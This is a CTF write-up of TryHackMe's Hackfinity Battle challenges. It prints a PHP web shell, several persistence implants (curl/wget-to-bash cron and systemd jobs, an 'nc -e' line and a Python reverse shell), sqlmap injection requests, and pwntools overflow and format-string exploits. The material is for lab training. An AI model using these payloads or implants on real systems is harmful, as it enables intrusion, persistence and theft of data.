Try Hack Me Hackfinity Battle CTF

This blog post provides a writeup for the challenges I solved during the Hackfinity Battle CTF hosted by Try Hack Me.
The focus is on describing the steps performed to solve the challenges. The challenge I enjoyed most was “Sequel Dump”. Although I quickly understood what needed to be done, figuring out how to parse the data correctly to uncover the flag proved to be a challenging but fun task.

Forensics

Stolen Mount

Challenge Description:
An intruder breached our network, targeting an NFS server hosting backup files. A classified secret was stolen, and all we have left is a packet capture (PCAP) file from the incident. Your task: uncover the contents of the stolen data.

Solution

We’re given a PCAP file containing NFS traffic. Initial attempts to extract files directly (e.g., using NetworkMiner on Windows) didn’t yield results—no exported objects appeared. However, analyzing the PCAP with strings revealed promising leads: filenames like creds.txt and secret.png popped up in the output.

To dig deeper, I ran:

binwalk -Me challenge.pcapng

This extracted a ZIP file (F2B2.zip), but it was password-protected. Time to crack it! Using fcrackzip with the rockyou.txt wordlist:

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt F2B2.zip

The password turned out to be avengers. Extracting the ZIP revealed a QR code. I threw it into CyberChef, decoded it, and there was the first flag!
THM{n0t_s3cur3_f1l3_sh4r1ng}


Infinity Shell

Challenge Description:
Cipher’s bot army exploited a vulnerability in our web application, planting a malicious web shell. Your mission: investigate the breach and track the attacker’s moves.

Solution

This time, we’re dropped onto the web server itself. I started by checking the Apache logs in /var/log/apache2/. Most were empty or sparse, but other_vhosts_access.log.1 had some more content.
Checking those logs cat /var/log/apache2/other_vhosts_access.log.1 I spotted several base64-encoded strings being passed as a query parameter to images.php.

infinityshell

One of those base64 encoded strings was: ZWNobyAnVEhNe3N1cDNyXzM0c3lfdzNic2gzbGx9Jwo=
Decoding that with CyberChef we get the next flag: echo 'THM{sup3r_34sy_w3bsh3ll}'
Out of curiosity, I also checked the source code of the web app:

cat /var/www/html/CMSsite-master/img/images.php
<?php system(base64_decode($_GET['query'])); ?>

Yeah thats a webshell, executing base64-decoded commands from the query parameter. We could’ve found the flag by auditing the code too, but the logs got us there faster.


Sneaky Patch

Challenge Description:
A high-value system has been compromised. Security analysts have detected suspicious activity within the kernel, but the attacker’s presence remains hidden. Traditional detection tools have failed, and the intruder has established deep persistence. Investigate a live system suspected of running a kernel-level backdoor.

Solution

Based on the challenge description, a rootkit seems the likely target of this challenge. To hunt it down, I started with lsmod, which lists loaded kernel modules. Additionally, I checked /proc/modules, a virtual file that mirrors the same info. Typically, their outputs should match since they reflect the same kernel state. Any discrepancy could indicate tampering. Therefore we compare the output of: lsmod to cat /proc/modules. They were mostly aligned, but a module named spatch caught my eye. It appeared in both, but in /proc/modules, it had an (OE) flag—indicating it’s an out-of-tree module (not part of the standard kernel) and possibly unsigned or experimental. To dig deeper into that module to get some more infos.

modinfo spatch
filename:       /lib/modules/6.8.0-1016-aws/kernel/drivers/misc/spatch.ko
description:    Cipher is always root
author:         Cipher
license:        GPL
srcversion:     81BE8A2753A1D8A9F28E91E
depends:

retpoline:      Y
name:           spatch
vermagic:       6.8.0-1016-aws SMP mod_unload modversions

The author and the description provided look very suspicious. Therefore its very likely that this module is related to the ctf. To get some more insights into the binary we can run strings con it. Among the output, lines prefixed with [CIPHER BACKDOOR] stood out. One of those contained a hex encoded string.

strings /lib/modules/6.8.0-1016-aws/kernel/drivers/misc/spatch.ko
...
6[CIPHER BACKDOOR] Here's the secret: 54484d7b73757033725f736e33346b795f643030727d0a
...

Decoding this string the next flag is found: THM{sup3r_sn34ky_d00r}

Hide and Seek

Challenge Description:
A note was discovered on the compromised system, taunting us. It suggests multiple persistence mechanisms have been implanted, ensuring Cipher can return at will. Here’s the note:
Dear Specter, I must say, it’s been a thrill dancing through your systems. You lock the doors; I pick the locks. You set up alarms; I waltz right past them. But today, my dear adversary, I’ve left you a little game.

I’ve sprinkled a few persistence implants across your system, like digital Easter eggs, and I’m giving you a sporting chance to find them. Each one has a clue because where’s the fun in a silent hack?

  • Time is on my side, always running like clockwork.
  • A secret handshake gets me in every time.
  • Whenever you set the stage, I make my entrance.
  • I run with the big dogs, booting up alongside the system.
  • I love welcome messages.

Find them all, and you might earn a little respect. Miss one, and well… let’s say I’ll be back before you even realize I never left. Happy hunting, Specter. May the best ghost win.

  • Cipher

Solution

Cipher’s note hints at five persistence mechanisms, each tied to a clue and a piece of the flag. Let’s start to hunt them down one by one.

  1. “Time is on my side, always running like clockwork”

This hint screams like cronjobs. But checking on the default cron directories we come up empty.
But checking on the journalctl for CRON logs we find a suspicious base64 encoded command.

journalctl | grep CRON
Mar 19 14:36:01 tryhackme CRON[2767]: (root) CMD (/bin/bash -c 'echo Y3VybCAtcyA1NDQ4NGQ3Yjc5MzAuc3RvcmFnM19jMXBoM3JzcXU0ZC5uZXQvYS5zaCB8IGJhc2gK | base64 -d | bash 2>/dev/null')

Searching for the related cronjob we find that this command is executed by /var/spool/cron/crontabs/root.

cat /var/spool/cron/crontabs/root
* * * * * /bin/bash -c 'echo Y3VybCAtcyA1NDQ4NGQ3Yjc5MzAuc3RvcmFnM19jMXBoM3JzcXU0ZC5uZXQvYS5zaCB8IGJhc2gK | base64 -d | bash 2>/dev/null'

Decoding this command we see that it tries to do a curl so fetch and execute some bash script.

curl -s 54484d7b7930.storag3c1ph3rsqu4d.net/a.sh | bash

The url cant be resolved so there has to be a different way to get the flag. The subdomain looks like a hex string and indeed it is the first part of the flag after decoding it.

THM{y0
  1. “A secret handshake gets me in every time”

A persistency mechanism related to handshake could indicate ssh. In total we have 6 users with a home directory and the root user.

  • phantom
  • sentinel
  • specter
  • ubuntu
  • void
  • zeroday

For the user zeroday we find a hidden authorized_keys file. A hidden authorized_files file is uncommon, normally just the .ssh directory is hidden.

find zeroday/
zeroday/
zeroday/.profile
zeroday/.bashrc
zeroday/.bash_history
zeroday/.ssh
zeroday/.ssh/.authorized_keys
zeroday/.bash_logout

Looking at that file we get a weird hostname for the public key stored there.

cat zeroday/.ssh/.authorized_keys
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGigCKLtSqMcOfttFdDnNXfwKd5nH8Ws3hFNRmBDWxfvuaaC6h9zWishJVfr0xsyV0SSkMGPCuPLRU41ckvnGbA= 326e6420706172743a20755f6730745f.local

The hostname looks once again like a hex encoded string 326e6420706172743a20755f6730745f.
Decoding it we get the second piece of the flag: 2nd part: u_g0t_.

  1. “Whenever you set the stage, I make my entrance”

This hint suggests something triggered when a session begins—perfect for Bash startup files like .bashrc or .bash_profile. All of the users listed in the previous step have some Bash startup files. So we will check them all. Since I assume that most of those are just default we can use diff to find the one that was modified. Diffing the .bashrc file of the user phantom to the user specter we find a single line that is different. Looks like a reverse shell command, with another hex encoded string as subdomain.

diff /home/phantom/.bashrc /home/specter/.bashrc
17a18,19
> nc -e /bin/bash 4d334a6b58334130636e513649444e324d334a3564416f3d.cipher.io 443 2>/dev/null
> 

This decodes to a base64 encoded string: M3kX1A0nQ6IDN2M3J5dAo=. Decoding that as well we get the third part of the flag. 3rd_p4rt: 3v3ryt

  1. “I run with the big dogs, booting up alongside the system”

This implies something kicking off at system startup. Initially, I thought “big dogs” might refer to the bootloader—GRUB or the like—so I spent some time poking around /boot/ and inspecting the bootloader config, but that trail went cold. Refocusing on system services, I listed enabled services:

systemctl list-unit-files --state=enabled

One service stood out since it has the same name as our dear note author. cipher.service
Checking on the status of the service we can see the related service file that is loaded.

systemctl status cipher
? cipher.service - Safe Cipher Service
     Loaded: loaded (/usr/lib/systemd/system/cipher.service; enabled; preset: enabled)
     Active: inactive (dead) since Tue 2025-03-18 07:32:18 UTC; 1h 10min ago
   Duration: 336ms
   Main PID: 722 (code=exited, status=0/SUCCESS)
        CPU: 29ms

Investigating that service file we find the fourth part of the flag. Once again part of the domain this time directly base64 encoded.

cat /usr/lib/systemd/system/cipher.service
[Unit]
Description=Safe Cipher Service

[Service]
ExecStart=/bin/bash -c 'wget NHRoIHBhcnQgLSBoMW5nXyAK.s1mpl3bd.com --output - | bash 2>/dev/null'

[Install]
WantedBy=multi-user.target
Alias=cipher.service

NHRoIHBhcnQgLSBoMW5nXyAK base64 decodes to 4th part - h1ng_ —the fourth piece. Turns out the “big dogs” were the system services running at boot, not the bootloader!

  1. “I love welcome messages”

This hint points to something displayed when logging in—welcome messages typically appear via the Message of the Day (MOTD). On Linux, the MOTD is often dynamically generated from scripts in /etc/update-motd.d/. These scripts run at login to craft what users see, making it a prime spot for Cipher to hide. Going through the files located in that directory we already find the reverse shell in the first file we check. 00-header

cat /etc/update-motd.d/00-header
... 
python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("4c61737420706172743a206430776e7d0.h1dd3nd00r.n3t",)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' 2>/dev/null
... 

As seen before the flag part is encoded in the subdomain. The domain includes 4c61737420706172743a206430776e7d0, which decodes from hex to Last part: d0wn} Combining all those pieces together the full flag is: THM{y0u_g0t_3v3ryth1ng_d0wn}

Sequel Dump

Challenge Description:
A wave of suspicious web requests has been detected, hammering our database-driven application. Analysts suspect an automated SQL injection attack has been launched using sqlmap, leading to potential data exfiltration. Investigate the provided packet capture (PCAP) file to uncover the attacker’s actions and determine what was stolen!

Solution

We’re given a PCAP file containing only HTTP traffic, capturing interactions with a vulnerable web app. From that traffic we need to find a way to extract the flag.
The PCAP reveals HTTP requests to /search_app/search.php. The requests captured directly stand out, as they are obvious SQL injection attempts.

sequeldump1

For example the following one. Request:

GET /search_app/search.php?query=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28id%20AS%20NCHAR%29%2C0x20%29%20FROM%20profile_db.%60profiles%60%20ORDER%20BY%20id%20LIMIT%206%2C1%29%2C1%2C1%29%29%3E56 HTTP/1.1
User-Agent: sqlmap/1.8.11#stable (https://sqlmap.org)
Host: 10.10.195.62

Response:

HTTP/1.1 200 OK
Content-Length: 156
Content-Type: text/html; charset=UTF-8

<h2>Search Results:</h2><p><strong>Void:</strong> The cryptography expert who deciphers the toughest encryptions, searching for vulnerabilities in Void...s encoded fortress.</p>

URL-decoding the query parameter provides a bit more insides on the injection:

1 AND ORD(MID((SELECT IFNULL(CAST(id AS NCHAR),0x20) FROM profile_db.`profiles` ORDER BY id LIMIT 6,1),1,1))>56

This checks if the ASCII value of the first character in the id column (row 7, via LIMIT 6,1) exceeds 56. Such comparisons are common of Boolean-based attacks, confirming the approach—responses hinge on true/false conditions rather than direct data leaks.
Some other requests found in the pcap return a different response to the client. For example the following one. Request:

GET /search_app/search.php?query=2443 HTTP/1.1
User-Agent: sqlmap/1.8.11#stable (https://sqlmap.org)
Host: 10.10.195.62

Response:

HTTP/1.1 200 OK
Content-Length: 41

<h2>Search Results:</h2>No results found.

In both cases the response don’t leak data directly. But this suggests Boolean-based SQL injection, where truth is inferred from response differences and not the direct output. In this case based on the response content. In case the response contains the html for the The cryptography expert who deciphers the toughest encryptions, searching for vulnerabilities in Void...s encoded fortress. the condition is true. In case the response is No results found the condition is false.
To not have to parse the response the response content-length can be used as a simple boolean indicator. Content-Length: 156 indicates “true” (data found), while 41 signals “false” (no results).
To determine what data was extracted the request queries and the corresponding responses need to be parsed. Since I was not able to find an sqlmap parser for this I started to write a custom script for this challenge. First the relevant data is extracted using tshark. In python pyshark could also be used as an alternative but since the thm box doesn’t have it preinstalled and has no internet connectivity I had to use tshark instead.

tshark -r challenge.pcapng -Y "http.request || (http.response && http.response.code == 200)" -T fields -e tcp.stream -e http.request.full_uri -e http.response.code -e http.content_length -E separator=" " > raw_data.txt

This outputs stream IDs, URIs, status codes, and content lengths, but requests and responses remain unsorted. For example raw_data.txt:

6378 http://10.10.195.62/search_app/search.php?query=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28id%20AS%20NCHAR%29%2C0x20%29%20FROM%20profile_db.%60profiles%60%20ORDER%20BY%20id%20LIMIT%206%2C1%29%2C1%2C1%29%29%3E56 
6379 200 41
6380 http://10.10.195.62/search_app/search.php?query=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28id%20AS%20NCHAR%29%2C0x20%29%20FROM%20profile_db.%60profiles%60%20ORDER%20BY%20id%20LIMIT%206%2C1%29%2C1%2C1%29%29%3E52 
6380 200 156

Since its required to have the corresponding request and response to determine if a certain request returned true or false the have to be correlated correctly. This can be achieved simply by using the tcp.stream IDs. Initially a bash script was used to link the request and response together, the final python solve script performs this task directly.

#!/bin/bash
awk '
  $2 ~ /^http:/ { uri[$1] = $2; req_stream[$1] = $1 }
  $2 == "200" { if (uri[$1]) print uri[$1] " " $2 " " $3 " " req_stream[$1] " " $1 }
' raw_data.txt > parsed_challenge.txt

Now parsed_challenge.txt pairs URIs with response content lengths. Since there are multiple request for each character of each row in each column of the database they need to be evaluated separately to determine what character was leaked by the SQLI. To filter those out a quick and dirty grep command can be used. For example for the first character of description in row 2 (LIMIT 1,1) the following filter command is applied:

cat parsed_challenge.txt | grep -v "CHAR_LENGTH" | grep "description" | grep "LIMIT%201%2C1" | grep "%29%2C1%2C1%29%29" | grep "profile_db.%60profiles"

This will return a couple of request that match out filter. Based on the content length present it can be determined it the request returned true or false.

http://10.10.195.62/search_app/search.php?query=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28%60description%60%20AS%20NCHAR%29%2C0x20%29%20FROM%20profile_db.%60profiles%60%20ORDER%20BY%20id%20LIMIT%201%2C1%29%2C1%2C1%29%29%3E64 200 156 1271 1271
http://10.10.195.62/search_app/search.php?query=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28%60description%60%20AS%20NCHAR%29%2C0x20%29%20FROM%20profile_db.%60profiles%60%20ORDER%20BY%20id%20LIMIT%201%2C1%29%2C1%2C1%29%29%3E83 200 156 1303 1303
http://10.10.195.62/search_app/search.php?query=1%20AND%20ORD%28MID%28%28SELECT%20IFNULL%28CAST%28%60description%60%20AS%20NCHAR%29%2C0x20%29%20FROM%20profile_db.%60profiles%60%20ORDER%20BY%20id%20LIMIT%201%2C1%29%2C1%2C1%29%29%3E84 200 41 1291 1291

>83 is true (156), >84 is false (41), so the character is 84 (T).
Since manually decoding the entire database isn’t something I like to do we can automate it with python.

#!/usr/bin/env python3
import subprocess
import re
from collections import defaultdict

PCAP_FILE = "challenge.pcapng"
TRUE_LENGTH = 156

def decode_char(data):
    lower, upper = 0, 127
    for threshold, is_true in sorted(data):
        if is_true:
            lower = max(lower, threshold + 1)
        else:
            upper = min(upper, threshold)
        if lower > upper:
            return "?"
    return chr(lower) if lower == upper else "?"

def parse_packets():
    tshark_cmd = [
        "tshark", "-r", PCAP_FILE,
        "-Y", "http.request || (http.response && http.response.code == 200)",
        "-T", "fields", "-e", "tcp.stream", "-e", "http.request.full_uri",
        "-e", "http.response.code", "-e", "http.content_length", "-E", "separator= "
    ]
    process = subprocess.Popen(tshark_cmd, stdout=subprocess.PIPE, text=True)
    output, _ = process.communicate()

    requests, responses = {}, []
    for line in output.splitlines():
        parts = line.strip().split()
        if len(parts) < 2:
            continue
        stream = parts[0]
        if parts[1].startswith("http://"):
            requests[stream] = parts[1]
        elif parts[1] == "200" and stream in requests:
            responses.append((requests[stream], "200", parts[2], stream, stream))
    return responses

def decode_field(row, field, data):
    positions = defaultdict(list)
    for uri, _, content_length, _, _ in data:
        if ("CHAR_LENGTH" in uri or field not in uri or
            f"LIMIT%20{row}%2C1" not in uri or "profile_db.%60profiles" not in uri):
            continue
        pos_match = re.search(r"%29%2C(\d+)%2C1%29%29%3E(\d+)", uri)
        if pos_match:
            pos, threshold = map(int, pos_match.groups())
            is_true = (int(content_length) == TRUE_LENGTH)
            positions[pos].append((threshold, is_true))
    return "".join(decode_char(positions[pos]) for pos in sorted(positions) if positions[pos])

def main():
    print("Parsing packets...")
    parsed_data = parse_packets()
    all_names, all_descriptions = {}, {}
    row = 0
    while True:
        name = decode_field(row, "name", parsed_data)
        desc = decode_field(row, "description", parsed_data)
        if not (name or desc):
            break
        if name:
            all_names[row + 1] = name
        if desc:
            all_descriptions[row + 1] = desc
        row += 1

    print("Decoded Names:")
    for row_num, name in all_names.items():
        print(f"Row {row_num}: '{name}'")
    print("\nDecoded Descriptions:")
    for row_num, desc in all_descriptions.items():
        print(f"Row {row_num}: '{desc}'")

if __name__ == "__main__":
    main()

sequeldump2

PWN

Flag Vault

Challenge Description:
Cipher asked me to create the most secure vault for flags, so I created a vault that cannot be accessed. You don’t believe me? Well, here is the code with the password hardcoded. Not that you can do much with it anymore.

Solution

Source Code Overview
The C program implements a login system to protect a flag stored in flag.txt. The key functions are print_flag and login. The source code provided is:

#include <stdio.h>
#include <string.h>

void print_banner(){
    printf( "  ______ _          __      __         _ _   \n"
            " |  ____| |         \\ \\    / /        | | |  \n"
            " | |__  | | __ _  __ \\ \\  / /_ _ _   _| | |_ \n"
            " |  __| | |/ _` |/ _` \\ \\/ / _` | | | | | __|\n"
            " | |    | | (_| | (_| |\\  / (_| | |_| | | |_ \n"
            " | |_|    |_|\\__,_|\\__, | \\/ \\__,_|\\__,_|_|\\__|\n"
            "                  __/ |                      \n"
            "                 |___/                       \n"
            "                                             \n"
            "Version 1.0 - Passwordless authentication evolved!\n"
            "==================================================================\n\n"
          );
}

void print_flag(){
    FILE *f = fopen("flag.txt","r");
    char flag[200];
    fgets(flag, 199, f);
    printf("%s", flag);
}

void login(){
    char password[100] = "";
    char username[100] = "";

    printf("Username: ");
    gets(username);

    // If I disable the password, nobody will get in.
    //printf("Password: ");
    //gets(password);

    if(!strcmp(username, "bytereaper") && !strcmp(password, "5up3rP4zz123Byte")){
        print_flag();
    }
    else{
        printf("Wrong password! No flag for you.");
    }
}

void main(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    print_banner();
    login();
}

Solution
The code contains a classic stack-based buffer overflow vulnerability due to the use of gets() in the login() function.
The gets() function reads input into username until a newline, without bounds checking.
Since gets() doesn’t limit input length, entering more than 100 bytes overflows the username buffer into adjacent memory, including the password buffer.
The password buffer (char password[100]) is declared immediately before username in the login() function. In most stack layouts, this places password directly before username in memory.

//stack layout [ password (100 bytes) ][ username (100 bytes) ]
char password[100] = "";
char username[100] = "";
printf("Username: ");
gets(username);

Overflowing the username therefore allows overwriting the password, as there’s no boundary enforcement.
The authentication in the login function check uses strcmp() to compare username with “bytereaper” and password with “5up3rP4zz123Byte”:

if(!strcmp(username, "bytereaper") && !strcmp(password, "5up3rP4zz123Byte")){
  print_flag();
}

By crafting an input for username that overflows into password, both strings can be controlled. For strcmp() to match, the input must include null bytes (\x00) to terminate strings correctly, ensuring username ends after “bytereaper” and password ends after “5up3rP4zz123Byte”.
Locally, crafting a payload to exploit the stack overflow was straightforward, since we could use debug prints to check the variables username and password.
A payload like "bytereaper\x00[93 byte padding]5up3rP4zz123Byte\x00" works locally. However, on the remote server, the exploit fails initially.
Likely due to differences in stack alignment, compiler optimizations, or memory layout (e.g., padding between variables). To solve that issue a fuzzing part was added to the local solve script to find the right padding size. The final solve.py used is:

from pwn import *

# Establish remote connection
p = remote('MACHINE_IP', 1337)

# Wait for username prompt
p.recvuntil(b"Username: ")

# Define target strings
required_username = b"bytereaper"  # 11 bytes
null_byte = b"\x00"                 # 1 byte to terminate username
required_password = b"5up3rP4zz123Byte"  # 17 bytes

# Fuzz padding sizes to align buffers
for padding_size in range(85, 115, 2):  # Test padding from 85 to 115 bytes
    padding = b"A" * padding_size
    payload = required_username + null_byte + padding + required_password + null_byte

    log.info(f"Trying payload with padding size {padding_size}")
    log.info(f"Payload length: {len(payload)}")
    log.info(f"Payload: {payload}")

    # Send payload
    p.sendline(payload)

    # Capture response
    response = p.recvall()

    # Check for flag
    if b"THM{" in response:
        print("Success! Flag received:")
        print(response.decode())
        break
    else:
        print("Attempt failed, trying next size...")

    # Reset connection for next attempt
    p.close()
    p = remote('MACHINE_IP', 1337)

The script constructs a payload in the format:

  • bytereaper\x00: Ensures strcmp(username, "bytereaper") passes.
  • [padding]: Variable-length padding to reach the password buffer.
  • 5up3rP4zz123Byte\x00: Overwrites password to match the required string.
    The null byte after bytereaper terminates the string for strcmp(), while padding ensures the password aligns correctly in memory. After fuzzing, a padding size succeeds, yielding the flag in the response starting with THM{.

Flag Vault 2

Challenge Description:
How did you do that? No worries. I’ll adjust a couple of lines of code so you won’t be able to get the flag anymore. This time, for real. Here’s the source code once again.

Solution

Source Code Overview
The updated C program modifies the vault of the previous challenge, removing authentication but altering how the flag is handled. Key functions include a flag printer (now disabled), and a login routine. Below is the source code:

#include <stdio.h>
#include <string.h>

void print_banner(){
    printf( "  ______ _          __      __         _ _   \n"
            " |  ____| |         \\ \\    / /        | | |  \n"
            " | |__  | | __ _  __ \\ \\  / /_ _ _   _| | |_ \n"
            " |  __| | |/ _` |/ _` \\ \\/ / _` | | | | | __|\n"
            " | |    | | (_| | (_| |\\  / (_| | |_| | | |_ \n"
            " | |_|    |_|\\__,_|\\__, | \\/ \\__,_|\\__,_|_|\\__|\n"
            "                  __/ |                      \n"
            "                 |___/                       \n"
            "                                             \n"
            "Version 2.1 - Fixed print_flag to not print the flag. Nothing you can do about it!\n"
            "==================================================================\n\n"
          );
}

void print_flag(char *username){
    FILE *f = fopen("flag.txt","r");
    char flag[200];

    fgets(flag, 199, f);
    //printf("%s", flag);
    
    //The user needs to be mocked for thinking they could retrieve the flag
    printf("Hello, ");
    printf(username);
    printf(". Was version 2.0 too simple for you? Well I don't see no flags being shown now xD xD xD...\n\n");
    printf("Yours truly,\nByteReaper\n\n");
}

void login(){
    char username[100] = "";

    printf("Username: ");
    gets(username);

    // The flag isn't printed anymore. No need for authentication
    print_flag(username);
}

void main(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    print_banner();
    login();
}

Solution
The new code introduces a format string vulnerability in the print_flag() function by directly passing the user-controlled username to printf(). In the print_flag() function, the username is passed directly to printf() without a format string:

printf(username);

When printf() receives a string with format specifiers (e.g., %p, %s), it interprets them as instructions to read arguments from the stack. Without proper arguments provided, it reads arbitrary stack data, potentially leaking sensitive information like the flag buffer. The flag buffer is declared in print_flag() and read from flag.txt:

//stack layout [ flag (200 bytes) ][ username (100 bytes) ]
char flag[200];
fgets(flag, 199, f);

Although the flag isn’t printed directly, it resides on the stack during the function’s execution. Format string attacks can read stack memory, including this buffer, if its location is reachable. The format string vulnerability allows us to read stack data by supplying a username with format specifiers like %p, stack values can be printed.
With the following solve.py we can read the stack from the remote server and parse the right section to make the flag readable.

from pwn import *

p = remote('MCHINE_IP', 1337)

p.recvuntil(b"Username: ") 
leak_payload = b"%p." * 20
p.sendline(leak_payload)

response = p.recvuntil(b"Was version").decode(errors="ignore")
print(f"Raw Leak Output:\n{response}")

leaked_values = response.split(" ")[1].split(".")  # Extract hex addresses
decoded_string = ""

for value in leaked_values:
    if value.startswith("0x"):  # Check if it's a valid hex address
        try:
            hex_value = int(value, 16)
            # Convert to bytes (little-endian) and decode, keeping only printable chars
            decoded_bytes = hex_value.to_bytes(8, "little")
            decoded_part = ''.join(c for c in decoded_bytes.decode(errors="ignore") if c.isprintable())
            decoded_string += decoded_part
        except:
            continue

flag = decoded_string.strip()
print(f"Extracted Flag: {flag}")

p.close()

The script sends a payload of %p. repeated 20 times, where %p leaks stack values as pointers and . acts as a delimiter. The response contains these leaked values, which are parsed to find printable characters. Since the flag buffer resides on the stack, its contents are embedded in one of the leaked pointers. The script decodes each leaked hex value into bytes (little-endian), filters for printable characters, and concatenates them.

Cloud

A Bucket of Phish

Challenge Description:
DarkInjector has been using a Cmail phishing website to try to steal our credentials. We believe some of our users may have fallen for his trap. Can you retrieve the list of victim users?

Here’s the link to the website: http://darkinjector-phish.s3-website-us-west-2.amazonaws.com

Solution

The URL indicates an AWS S3 bucket hosting the phishing site. The subdomain darkinjector-phish suggests the bucket name. Accessing the bucket directly via its S3 endpoint provides more insight: https://darkinjector-phish.s3.amazonaws.com/
This returns an XML listing of the bucket’s contents:

<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
    <Name>darkinjector-phish</Name>
    <Prefix />
    <Marker />
    <MaxKeys>1000</MaxKeys>
    <IsTruncated>false</IsTruncated>
    <Contents>
        <Key>captured-logins-093582390</Key>
        <LastModified>2025-03-17T06:46:17.000Z</LastModified>
        <ETag>"923e89c3ff247c768368b0d486484af4"</ETag>
        <ChecksumAlgorithm>CRC64NVME</ChecksumAlgorithm>
        <ChecksumType>FULL_OBJECT</ChecksumType>
        <Size>132</Size>
        <Owner>
            <ID>903215f2913d2f3026c35e300c621d0ccd51f13f578c37051b846ee8287567de</ID>
            <DisplayName>ariz</DisplayName>
        </Owner>
        <StorageClass>STANDARD</StorageClass>
    </Contents>
    <Contents>
        <Key>index.html</Key>
        <LastModified>2025-03-17T06:25:33.000Z</LastModified>
        <ETag>"3b392b5fc343b899cc3d67b6ecb2d025"</ETag>
        <ChecksumAlgorithm>CRC64NVME</ChecksumAlgorithm>
        <ChecksumType>FULL_OBJECT</ChecksumType>
        <Size>2300</Size>
        <Owner>
            <ID>903215f2913d2f3026c35e300c621d0ccd51f13f578c37051b846ee8287567de</ID>
            <DisplayName>ariz</DisplayName>
        </Owner>
        <StorageClass>STANDARD</StorageClass>
    </Contents>
</ListBucketResult>

The XML confirms the bucket name (darkinjector-phish) and lists two files: index.html (likely the phishing page) and captured-logins-093582390 (suggesting stored credentials). To enumerate the bucket’s contents the AWS CLI can be used with anonymous access, as the bucket appears publicly readable:

aws s3 ls s3://darkinjector-phish --no-sign-request --region us-west-2
2025-03-17 07:46:17        132 captured-logins-093582390
2025-03-17 07:25:33       2300 index.html

The captured-logins-093582390 file looks promising for containing victim credentials. With the aws cli we can just download/copy it to read it locally.

aws s3 cp s3://darkinjector-phish/captured-logins-093582390 ./captured-logins-093582390 --no-sign-request --region us-west-2
download: s3://darkinjector-phish/captured-logins-093582390 to ./captured-logins-093582390

Inspecting the downloaded file reveals the list of compromised users and a flag:

cat captured-logins-093582390
user,pass
munra@thm.thm,Password123
test@thm.thm,123456
mario@thm.thm,Mario123
flag@thm.thm,THM{this_is_not_what_i_meant_by_public}

Reverse Engineering

Compute Magic

Challenge Description:
We managed to gain access to one of the Phantom’s servers and recover a binary that computes data. Discover how it works to get the flag on the remote server.

Solution

We’re given a binary that runs a TCP server on port 9003. Our task is to reverse-engineer its behavior and craft an input that retrieves the flag from the remote server.

The main function sets up a TCP socket server:

  • Binds to port 9003 (0x232B in hex, via htons(0x232Bu)).
  • Listens for connections and accepts them in a loop.
  • For each connection:
    • Calls sendBanner (likely sends a prompt, e.g., “Compute some magic!”).
    • Reads up to 16 bytes into a buffer (buf).
    • Strips a trailing newline if present.
    • Passes the buffer to checkSpell to process the input.
    • Outputs “Spell check successful” or “Spell check failed” based on the result.

The checkSpell function switches based on the first character of the input:

  • Letters ‘A’ to ‘Z’ call different functions (e.g., ‘A’ → func_1, ‘X’ → fun_readflag_7).
  • Functions named fun_readflag_* have a subsequent call to the read_flag function.
  • Functions that have not been renamed (func_*) always call the magic_fail, representing failed paths, and are irrelevant for retrieving the flag.

computemagic

The relevant fun_readflag_* functions are as follows:

  • fun_readflag_1 (‘H’), fun_readflag_3 (‘L’), fun_readflag_4 (‘P’ or ‘Q’) call check_other and only invoke read_flag if it returns 1.

The check_other function performs some transformation on the input and checks the result. The input is transformed with (xor_str[i] + 4) ^ 0xD and the expected result is AhhF1ag1571GHFDS.

__int64 __fastcall check_other(const char *xor_str)
{
  int i; // [rsp+18h] [rbp-28h]
  char var_other_input[24]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 15; ++i )
    var_other_input[i] = (xor_str[i] + 4) ^ 0xD;
  var_other_input[16] = 0;
  if ( !strcmp(var_other_input, "AhhF1ag1571GHFDS") )
  {
    printf("Correct: %s\n", xor_str);
    return 1LL;
  }
  else
  {
    printf("Incorrect: %s\n", xor_str);
    return 0LL;
  }
}

To reverse this transformation to get the expected input the following steps can be applied.

  • For each char in “AhhF1ag1571GHFDS”, compute: input = (output ^ 0xD) - 4.
  • Example: ‘A’ (65) → (65 ^ 0xD) - 4 = 64 (’@’).
  • Resulting string: “@]]B5`c5935B@A?P” (16 chars).

I tried inputs like “H@]]B5`c5935B@A?P” (prefix ‘H’ for fun_readflag_1). But no flag was printed as a result. Other fun_readflag_* functions that call read_flag directly include fun_readflag_2, fun_readflag_5, and fun_readflag_6:

  • fun_readflag_2 is defined but not called by checkSpell, so it’s unreachable in the current control flow.
  • fun_readflag_5 (also not called from any letter in checkSpell) and fun_readflag_6 (‘S’) call read_flag with a hardcoded socket descriptor (1337), which doesn’t match our connection’s descriptor:
__int64 fun_readflag_5()
{
  read_flag(1337);
  return 0LL;
}

Finally, we have fun_readflag_7 (‘X’), which calls read_flag directly with the socket descriptor, no checks:

__int64 __fastcall fun_readflag_7(__int64 a1, int a2)
{
  read_flag(a2);
  return 0LL;
}

The read_flag function opens “flag.txt” and sends its contents over the socket:

unsigned __int64 __fastcall read_flag(int a1)
{
  FILE *stream;
  size_t n;
  char ptr[1032];
  stream = fopen("flag.txt", "r");
  if ( stream )
  {
    n = fread(ptr, 1uLL, 0x400uLL, stream);
    send(a1, ptr, n, 0);
    fclose(stream);
  }
  return ...;
}

Since fun_readflag_7 and the related character X don’t have any checks lets try to use that as an input to get the flag.

echo -e "X\n" | nc 10.10.217.79 9003
Compute some magic!
